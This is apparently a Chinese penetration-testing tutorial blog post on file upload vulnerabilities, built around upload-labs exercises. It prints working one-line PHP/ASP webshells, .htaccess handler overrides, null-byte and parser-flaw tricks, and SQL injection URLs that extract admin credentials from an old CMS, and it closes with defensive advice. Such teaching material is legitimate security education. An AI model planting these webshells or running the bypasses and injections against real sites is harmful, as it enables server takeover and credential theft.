[渗透测试]:文件上传

[渗透测试]:文件上传

 
文件上传漏洞
 
*漏洞描述
 
文件上传是Web 应用的必备功能之一,比如上传头像显示个性化、上传附件共享文件、上传脚本更新网站。如果服务器配置不当或者没有进行足够的过滤,Web 用户就可以上传任意文件,包括恶意脚本文件、exe 程序等,这就造成了文件上传漏洞。
 
*漏洞成因
 
文件上传漏洞的成因,一方面服务器配置不当会导致任意文件上传;
 
另一方面,Web 应用开放了文件上传功能,并且对上传的文件没有进行足够的限制;
 
再者就是程序开发部署时候,没有考虑到系统特性和验证过滤不严格而导致限制被绕过,上传任意文件。
 
*漏洞危害
 
上传漏洞最直接的威胁就是上传任意文件,包括恶意脚本、程序等。如果Web 服务器所保存上传文件的可写目录具有执行权限,那么就可以直接上传后门文件,导致网站沦陷。如果攻击者通过其他漏洞进行提权操作,拿到系统管理权限,拿到系统管理权限,就能直接导致服务器沦陷。且同服务器下的其他网站也无一幸免,均会被攻击者控制。
 
通过上传漏洞获得的网站后门,就是Webshell.
 
WebShell
 
在计算机科学中,Shell 俗称壳(用来区别“核”),是指“为使用者提供操作界面”的软件(命令解释器)。类似于windows 系统给的cmd.exe 或者Linux 下bash 等,虽然这些系统的命令解释器不止一种。
 
WebShell 是一个网站的后门,也是一个命令解释器,不过是以Web 方式(HTTP 协议)通信(传递命令消息),继承了Web 用户的权限。WebShell 本质上是服务器端可运行的脚本文件,后缀名为.php/.asp/.aspx/.jsp 等,也就是说WebShell 接受来自于Web 用的命令,然后在服务器端执行。
 
*大马
 
WebShell 也可以是大马,也就是网站木马。有一类WebShell 之所以叫大马,是因为与小马(一句话木马)区分开,并且代码量较大,但是功能丰富。同样,大马又很多脚本格式,其功能基本相同。每个团队都有自己的定制木马。
 
在大马中,我们可以进行文件管理,执行系统命令等,还有一些其他定制功能。
 
*小马
 
小马就是一句话木马,因为其代码量比较小,就是一句简单的代码。以下是各个脚本的一句话
 
ASP:
 
<%eval request("cmd")%>
 
ASP.NET:
 
<%@ Page Language="Jscript"%>
 
<%eval(request.Item["cmd"],"unsafe");%>
 
PHP:
 
<?php @eval($_REQUEST['cmd']);?>
JSP 和 jspx 的一句话木马比较复杂一些
 
一句话木马短小精悍,功能强大,但是需要配合中国菜刀或者中国蚁剑客户端使用,中国菜刀是一句话木马的管理器,也是命令操作接口。中国菜刀在连接一句话木马的时候需要填写密码(实际上就是变量名)。例如,我们上传一个php 的一句话木马,密码就是[cmd]。
 
中国菜刀与一句话木马配合实现了三大基本功能
 
@ 文件管理
 
在中国菜刀页面继承Web 用户权限可以实现文件管理,包括文件查看、上传、下载、修改、删除甚至运行exe 程序等
 
@ 虚拟终端
 
在中国菜刀下可以获得cmd 和 bash 的命令行接口,可以执行相关命令。
 
@ 数据库管理
 
我们可以使用中国菜刀进行数据库管理,此时需要知道连接数据库的账密。以MYSQL 为例
 
    <T>MYSQL</T>      //数据库类型
 
    <H>localhost</H>     //数据地址
 
    <U>root</U>     //数据库用户
 
    <P>root</P>    //数据库密码
 
    <L>utf-8</L>     //数据库编码
 
*GetShell
 
GetShell ,顾名思义就是获取web 的过程。当然任意文件上传是GetShell 的主要方式,但并不是唯一途径。
 
文件上传漏洞利用的条件
 
*一定的条件
 
1、Web 服务器要开启文件上传功能,并且上传api(接口)对外开放
 
2、Web 用户对目标目录具有可写权限,甚至具有执行权限,一般情况下,Web 目录都有执行权限
 
3、要想完美利用文件上传漏洞,就是上传的文件可以执行,也就是Web 容器可以解析我们上传的脚本,无论脚本以什么样的形式存在
 
4、无视以上条件的情况就是服务器配置不当,开启了PUT 方法。
 
防御、绕过、利用
 
文件上传的防御、文件上传的防御绕过还有利用,总是分不开的。
 
为什么这么防?为什么这么绕过?总是相互纠缠在一起的两个问题,攻防交替
 
*黑白名单策略
 
黑白名单是常用的安全策略之一。在计算机安全中,黑白名单类似于一个列表,列表中写了一些条件或规则,如果客体在黑名单中,一律禁止,如果客体在白名单中,一律允许。类似与手机号码的黑白名单
 
如Chrome 浏览器的黑白名单策略
 
政策
说明
URLBlacklist
禁止访问你已阻止的网址。不过,用户可以访问黑名单之外的所有网址
不设置此政策:用户将可以自由访问所有网址
URLWhitelist
将此政策与 URLBlacklist 政策搭配使用,可将特定网址设为黑名单的例外网址并允许用户访问
 
白名单的优先级高于黑名单。你至少要在黑名单中添加一个条目,才能正常使用此策略
 
不设置此策略:网址黑名单将没有例外网址
    
华为收集安装软件黑白名单策略
 
模式
说明
白名单模式,检查只能安装的软件
只允许终端主机安装软件白名单中的软件,安装其他软件属于违规行为
对于白名单中的软件,该软件属于必须安装类软件,而终端主机未安装,属于违规行为
对于白名单中的软件,该软件不属于必须安装软件,而终端主机未安装,不属于违规行为
白名单+黑名单模式,检查必须安全的软件和禁止安全的软件
如果终端主机未安装白名单中的任意一款软件,则属于违规行为
如果终端主机已经安装黑名单中的任意一款如那件,则属于违规行为
如果终端主机已经安装了白名单中的所有软件,并且安装了黑名单中的任意一款软件,
则不属于违规行为
 
*PUT 方法上传文件
 
HTTP 请求方法之一,允许向服务器直接写入文件
 
1、Apache 如何开启PUT 方法
 
@测试Apache 是否开启了put 方法
 
telnet 192.168.1.200 80
 
-------------
 
OPTIONS / HTTP/1.1
 
HOST:192.168.1.200
 
--------------------
 
@apache 开启put 方法操作
 
httpd.conf 文件
 
phpstudy 目录:C:\phpStudy\Apache\conf\httpd.conf
 
开启dav模块
 

image

 
启用模块
 

image

 
开启文件锁
 

image

 
创建DAV 锁文件
 
在c:\phpStudy\WWW\目录下创建名为 DavLock 文件
 
上传文件
 
-----------
 
    PUT /info.php HTTP/1.1
 
    HOST:192.168.1.200
 
    Content-Length:18
 
 
    <?php phpinfo();?>
 
-----------------
 
*前端限制与绕过
 
有一些Web 应用的文件上传功能,仅在前端用了JS 脚本做检测,如检测文件后缀名等。
 
upload-labs pass-1 就是如此
 
    ------------
 
    <script type="text/javascript">
        function checkFile() {
            var file = document.getElementsByName('upload_file')[0].value;
            if (file == null || file == "") {
                alert("请选择要上传的文件!");
                return false;
            }
            //定义允许上传的文件类型
            var allow_ext = ".jpg|.png|.gif";
            //提取上传文件的类型
            var ext_name = file.substring(file.lastIndexOf("."));
            //判断上传文件类型是否允许上传
            if (allow_ext.indexOf(ext_name) == -1) {
                var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
                alert(errMsg);
                return false;
            }
        }
    </script>
 
    -------------
 
这里采用的是白名单策略,检测文件后缀名。再配合表单事件使用
 
    -------------
 
     <form enctype="multipart/form-data" method="post" οnsubmit="return checkFile()">
                    <p>请选择要上传的图片:<p>
                    <input class="input_file" type="file" name="upload_file"/>
                    <input class="button" type="submit" name="submit" value="上传"/>
                </form>
 
    ------------
 
前端JS 脚本检测的安全防御使非常薄弱的,可以非常轻松的绕过
 
方法一:因为JS 脚本运行环境使浏览器,我们可以修改JS代码,或者删除表单事件中的οnsubmit="return checkFile()"
 
方法二:使恶意文件后缀名符合白名单策略,用Burp 挂代理抓包,然后修改文件后缀名即可
 

image

对于文件上传,只从Web 前端进行检测显然防护不足,因此服务器端的检测就显得的特别重要,一般服务器端检测,采用黑白名单策略。
 
*服务器端检测--MIME 类型
 
MIME 是描述消息内容类型的因特网标准。MIME 消息包含文本、图像、音频、视频以及其他应用程序的专用的数据。常见的MIME 类型如下
 
文件扩展名
Mime-Type
.js
application/x-javascript
.html
text/html
.jpg
image/jpeg
.png
image/png
.pdf
application/pdf
在HTTP 协议中,使用Content-Type 字段
 
服务器端会检测Content-Type 类型,
 
upload-labs pass-2
 
    ----------------
 
    $msg = null;
 
    if (isset($_POST['submit'])) {
 
        if (file_exists(UPLOAD_PATH)) {
 
            if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
 
                $temp_file = $_FILES['upload_file']['tmp_name'];
 
                $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']           
 
                if (move_uploaded_file($temp_file, $img_path)) {
 
                    $is_upload = true;
 
                } else {
 
                    $msg = '上传出错!';
 
                }
 
            } else {
 
                $msg = '文件类型不正确,请重新上传!';
 
            }
 
        } else {
 
            $msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
 
        }
 
    }
 
    ------------------
 
由于服务器在检测Content-Type 类型的时候,取得的变量来自用户,故我们仍可以通过bp抓包,修改这个字段,使其合法,即可绕过限制上传任意文件
 

image

 
*服务器端检测--文件内容
 
除了检测上传文件的Content-Type 类型,为了保持安全性,服务器端还会检测文件内容。PHP 中有一个函数getimagesize(),这个函数本意是检查图片的大小,但是在检查之前该函数会判断目标文件是否为一张图片。因此,可以用该函数来检测文件的内容
 
upload-labs pass-14 关
 
    ----------
 
    function isImage($filename){
 
        $types = '.jpeg|.png|.gif';
 
        if(file_exists($filename)){
 
            $info = getimagesize($filename);
 
            $ext = image_type_to_extension($info[2]);
 
            if(stripos($types,$ext)>=0){
 
                return $ext;
 
            }else{
 
                return false;
 
            }
 
        }else{
 
            return false;
 
        }
 
    }
 
    ----------
 
对于文件内容的检测,我们可以通过上传图片木马绕过
 
木马图片的制作
 
    ------------
 
    GIF89a
 
    -----------
 
    copy t011f97de8c87730f7c.jpg/b+phpinfo.php/a test_info.jpg
 
    -----------
 
    文件幻术
 
    png
 
    89 50 4E 47 0D 0A 1A 0A 00 00 00 0D 49 48 44 52
 
    jpg
 
    FF D8 FF E0 00 10 4A 46 49 46 00 01 01 01 01 2c
 
    gif
 
    47 49 46 38 39 61 F1 00 2C 01 F7 00 00 64 32 33
 
*服务器端检测--后缀名
 
服务器端还会检测文件后缀名。
 
@ 黑名单
 
代码中的$deny_exit 数据就是一个黑名单,数组元素就是不容许上传的类型
 
对于黑名单,我们可以寻找其他允许上传的类型来绕过限制
 
可以执行脚本后缀名
 
    .php .php2 .php3 .php5 .phtml
 
    .asp .aspx .ascx .ashx .asa
 
    .cer
 
    .jsp .jspx
 
@ 白名单
 
对于后缀名白名单策略,我们只能通过上传白名单内的文件后缀名。
 
00截断
 
00 就是Null(空字符)字符,URL 中表现为%00,00 截断会导致文件上传路径截断(条件:PHP<5.3.29,且GPC关闭)。我们以
 
upload-labs pass-11
 
    -------------
 
    if(isset($_POST['submit'])){
 
        $ext_arr = array('jpg','png','gif');
 
        $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
 
        if(in_array($file_ext,$ext_arr)){
 
            $temp_file = $_FILES['upload_file']['tmp_name'];
 
            $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
 
 
            if(move_uploaded_file($temp_file,$img_path)){
 
                $is_upload = true;
 
            } else {
 
                $msg = '上传出错!';
 
            }
 
        } else{
 
            $msg = "只允许上传.jpg|.png|.gif类型文件!";
 
        }
 
    }
 
    ----------------
 

image

 
.htaccess 攻击
 
.htaccess 是Apache 服务器的分布式配置文件,该配置文件会覆盖Apache 服务器的全局配置,作用域是当前目录及其子目录。
 
如果一个Web 应用允许上传的.htaccess 文件,那就意味着攻击者可以更改Apache 的配置,这是十分危险的。
 
.htaccess 攻击想象空间非常大
 
首先Apache 的配置,允许.htaccess 文件覆盖掉Apache 的配置
 
*将.png 文件当作PHP 文件解析
 
将以下代码写入文件,并保存成.htaccess ,放到测试目录下
 
    AddType application/x-httpd-php .png
 
并在同一个目录下创建一个文件 info.png
 
    ------
 
    <?php
 
    phpinfo();
 
    ?>
 
    ------
 
当我们访问文件时,[info.php]内的PH 代码将会被执行
 
*文件名中包含php 关键字
 
当文件名[info.php.png] 中包含关键字[.php] ,并且.htaccess 文件内容如下,info.php.png 中的代码会被执行
 
    AddHandler php5-script php
 
*匹配文件名[aject], 找到该文件,并执行其中的PHP 代码
 
    ----
 
    <FilesMatch "ajest">
 
    SetHandler application/x-httpd-php
 
    </FilesMatch>
 
    -------
 
以upload-labs pass-4为例
 
先上传[.htaccess] 文件
 
    ----.htaccess
 
    <FilesMatch "ajest">
 
    SetHandler application/x-httpd-php
 
    </FilesMatch>
 
    --------------
 
再上传[ajest]
 
    -----ajest
 
    <?php
 
    phpinfo();
 
    ?>
 
    ----------
 
Web 容器解析漏洞
 
Web 容器解析漏洞,就是Web 容器在解析脚本出现的“bug”
 
*Apache 解析漏洞
 
info.php.xxx.xx.x
 
*IIS6.0 解析漏洞
 
@ asp;1.jpg
 
     time.asp;1.jpg
 
@ 1.asp/time.jpg
 
新建文件夹命名为[1.asp],在里面新建文件,命名为[time.png]
 
*PHP CGI 解析漏洞
 
@ IIS7.0/7.5
 
     IIS7.0/7.5+PHP 环境
 
     让iis7.0/7.5支持PHP 环境
 

image

image

localhost:8000/info.png/.php
 
在C:\inetpub\wwwroot\目录下新建文件info.png
 
    --------info.png
 
    <?php
 
    phpinfo();
 
    ?>
 
    ------------
 
打开浏览器访问
 
防御:
 
    法一:
 

image

    法二:修改php.ini配置文件(cgi.fax_path)
 

image

@ Nginx 解析漏洞
 
    /info.png/1.php
 
*Nginx 空字节漏洞
 
localhost/info.html%00.php
 
*Nginx 文件名逻辑漏洞(CVE-2013-4745)
 
常见的编器上传
 
编辑器就是网站后台编辑网页的在线编辑器,会自动集成文件上传功能,这些编辑器的某些版本也存在文件上传漏洞
 
    *ewebeditor
 
    *fckeditor
 
常见的CMS上传
 
    CMS 又叫网站内容管理系统(网站的模版,快速建站,二次开发),市面上很多开源的CMS 的历史版本有很多都存在着文件上传漏洞,但是产生文件上传漏洞的原因不尽相同,情景也不似本章上文中介绍的那样“直白”。类似的CMS 有很多,比如常见的dedeCMS、PHPcms 等。
 
*南方数据管理系统(old)
 
    注入点
 
    [/news_search.asp?key=7%' union select 0,username%2BCHR(124)%2Bpassword,2,3,4,5,6,7,8,9 from admin where 1 or '%'='&;otype=title&;Submit=%CB%D1%CB%F7]
 
    [/NewsType.asp?SmallClass='%20union%20select%200,username%2BCHR(124)%2Bpassword,2,3,4,5,6,7,8,9%20from%20admin%20union%20selecct%20*%20from%20news%20where%201=2%20and%20''=']
 
    拿到管理员账密
 
    --------------------  
 
    修改后缀名,上传大马
 
    UploadFiles/2393209844.jpg
 
    -------------------
 
    后台
 
        御剑
 
    getshell
 
    asp|access|.mdb|下载
 
    03
 
    权限?
 
    利用数据库备份getshell|另存|自定义文件的名字
 
*metinfov5.0.4 文件上传
 
metinfov5.0.4 代码审计
 
*变量覆盖漏洞
 
-------------
 
$name="HELLOWORD!";
 
//?name=AJEST
 
foreach($_GET as $key=>$val){
 
    $$key=$val;//$name=AJEST;
 
}
 
var_dump($name);
 
-------------
 
通过变量覆盖漏洞,可以修改Web 应用的参数
 
文件上传漏洞的防御
 
关于文件上传的防御,防住危险的脚步类型是最基本的防御,最理想的就是能够过滤掉图片马中的恶意代码。如果一个Web 应用能够上传图片木马,那么我们认为这个Web 应用是不安全的。文件上传漏洞的防御主要从以下几个方面考虑。
 
*代码角度
 
        @ 采用白名单策略,严格限制上传文件的后缀名。
 
        @ 进行二次渲染,过滤掉图片木马中的恶意代码。
 
        @ 将用户上传文件改名存放,包括文件名及其扩展名,并将其存放路径和文件名存放在数据库中。系统使用文件时,通过查询数据库动态获取。
 
        @ 使用随机数改写文件名和路径
 
*设置权限
 
        限制上传目录下拥有的执行权限
    
*单独设置文件服务器的域名
 
posted @ 2021-06-24 12:55  jpSpaceX  阅读(589)  评论(0编辑  收藏  举报